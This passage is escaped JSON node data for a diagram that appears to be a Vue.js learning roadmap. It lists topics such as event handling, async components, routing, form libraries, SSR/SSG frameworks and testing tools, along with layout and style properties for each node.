-514.5059150365778,\n        \"y\": 644.0683595993249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5059150365778,\n        \"y\": 644.0683595993249\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4p6Gh2fMPA8hls_mWa5HR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -293.59797432485874,\n        \"y\": 719.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bx1Atxcf15AEaA1BiSIc6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.59797432485874,\n        \"y\": 719.560061206005\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b7iXwtUnELg_ShbCyTrNA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.8080206821377,\n        \"y\": 826.1444350693496\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binding Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.8080206821377,\n        \"y\": 826.1444350693496\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gVahaZNPktQuqdukFEbQH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.8080206821377,\n        \"y\": 879.1444350693496\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Inline / Method Handlers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.8080206821377,\n        \"y\": 879.1444350693496\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Aaf7eA-5sbAD5Cs1MbdTQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.8080206821377,\n        \"y\": 932.1444350693496\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -512.8080206821377,\n        \"y\": 932.1444350693496\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BXw36wqhmi3gExXwFCIBd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.8080206821377,\n        \"y\": 985.1444350693496\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.8080206821377,\n        \"y\": 985.1444350693496\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x0wl2Qz2LTP4Q2tThKAt3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.8080206821377,\n        \"y\": 1038.1444350693496\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mouse Button Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.8080206821377,\n        \"y\": 1038.1444350693496\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bx1Atxcf15AEaA1BiSIc6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 59.54031453135002,\n        \"y\": 719.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computed Properties\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1vHiAZliR19a2UtT3Ps0W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 59.54031453135002,\n        \"y\": 719.560061206005\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A5p6pqSOtLJybt4LrZ1St\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 67.04031453135002,\n        \"y\": 968.2507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"HOPgVo3xf0ZN8DmU9BDpo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 76,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 76\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 67.04031453135002,\n        \"y\": 968.2507883342075\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"Re7tv1U0LxYqE5ShFxQSf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 822.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Async Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 822.7507883342075\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SGsd08ZTu4H76s8cfbCKe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 875.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Teleport Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 875.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwVbhOpQMPPB4G-lhro0B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 928.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Provide / Inject\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 928.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"br1r8KIf5KInY5mk2xhA6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 981.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 981.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Nc8ivQrdpKuf8MwaV-K7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1034.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Plugins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1034.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kdlXhbw_a81xdZtyK-pVa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1087.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Watchers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1087.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jkX66izOHVWqtyd6KZ0K6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1140.7507883342075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Slots\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.45827207144166,\n        \"y\": 1140.7507883342075\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w72iWpfaV9zTACCxSL4zI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -199.61720569319456,\n        \"y\": 1203.736629603213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -199.61720569319456,\n        \"y\": 1203.736629603213\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"SWpWg5J5N9ZfY_DaIigA5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.61720569319456,\n        \"y\": 1245.0004887424668\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.61720569319456,\n        \"y\": 1245.0004887424668\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HjzOYjS-7ZEBvElRJ8uN2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -239.61720569319456,\n        \"y\": 1298.0004887424668\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transition Group\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -239.61720569319456,\n        \"y\": 1298.0004887424668\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YTzOdnGWNKTjk8T1fcaiO\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 83.54031453135002,\n        \"y\": 1300.0004887424668\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ecosystems\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"HOPgVo3xf0ZN8DmU9BDpo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 46\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 83.54031453135002,\n        \"y\": 1300.0004887424668\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"HOPgVo3xf0ZN8DmU9BDpo\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 387.9970609830833,\n        \"y\": 1298.5004887424668\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Utilities\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"_dQbXoFTJHaOARTWDUeHY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 387.9970609830833,\n        \"y\": 1298.5004887424668\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z9szBPFXfqK_KsvzkR-rf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 391.4970609830833,\n        \"y\": 1203.736629603213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VueUse\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 391.4970609830833,\n        \"y\": 1203.736629603213\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ixRG0xfEp4BmyvCR0mtoR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 92.54031453135002,\n        \"y\": 1422.1053534778678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.54031453135002,\n        \"y\": 1422.1053534778678\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"COxkmvqe9jFtV9WtGjfbh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.60847046222204,\n        \"y\": 1422.1053534778678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue Router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 338.60847046222204,\n        \"y\": 1422.1053534778678\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"izGdctxP_OvQNvaMwVIrh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -105.9953868087789,\n        \"y\": 1422.1053534778678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1nmGJFENMmI1WXAeUHeCt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -105.9953868087789,\n        \"y\": 1422.1053534778678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BXz1utB_2eYzFvzSbFKx0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1502.7534021113336\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FormKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"positionAbsolute\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1502.7534021113336\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Fmp8_z4SKWfKUE80_fqb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1555.7534021113336\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vee Validate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1555.7534021113336\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6U_CAhAY_jyj_4Mzj_HL_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1608.7534021113336\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vuelidate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"positionAbsolute\": {\n        \"x\": -134.5523118952504,\n        \"y\": 1608.7534021113336\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cm6mqXYp-G4mGfPxuU73_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -370.65341088187324,\n        \"y\": 1422.1053534778678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1nmGJFENMmI1WXAeUHeCt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -370.65341088187324,\n        \"y\": 1422.1053534778678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"822tGnM9jOkYh9aNlosPr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -518.3364531870259,\n        \"y\": 1315.8962774513473\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1nmGJFENMmI1WXAeUHeCt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.3364531870259,\n        \"y\": 1315.8962774513473\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f2udJnT2q5eDmBZ_OKtmi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.65341088187324,\n        \"y\": 1262.8962774513473\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Quasar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_46COO0FGaFuCYwqaRRWy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.65341088187324,\n        \"y\": 1262.8962774513473\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8xZxTLYq5m5_nkGh2lfUt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.65341088187324,\n        \"y\": 1315.8962774513473\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nuxt.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_46COO0FGaFuCYwqaRRWy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.65341088187324,\n        \"y\": 1315.8962774513473\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_46COO0FGaFuCYwqaRRWy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.3364531870259,\n        \"y\": 1238.4448162837582\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VitePress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.3364531870259,\n        \"y\": 1238.4448162837582\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LjEAviRMtPLwUUlfcof1h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -437.5730606910654,\n        \"y\": 1557.1656483488384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vitest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -437.5730606910654,\n        \"y\": 1557.1656483488384\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p5bUvgr_3H-A55ZnEExk8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -437.5730606910654,\n        \"y\": 1610.1656483488384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue Testing Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -437.5730606910654,\n        \"y\": 1610.1656483488384\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JbMKUVDMUygjXXmhndHVs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -437.57306069106534,\n        \"y\": 1663.1656483488384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -437.57306069106534,\n        \"y\": 1663.1656483488384\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zqcE3bTnymdepV-Yc8qBl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.7759930933753,\n        \"y\": 1663.1656483488384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 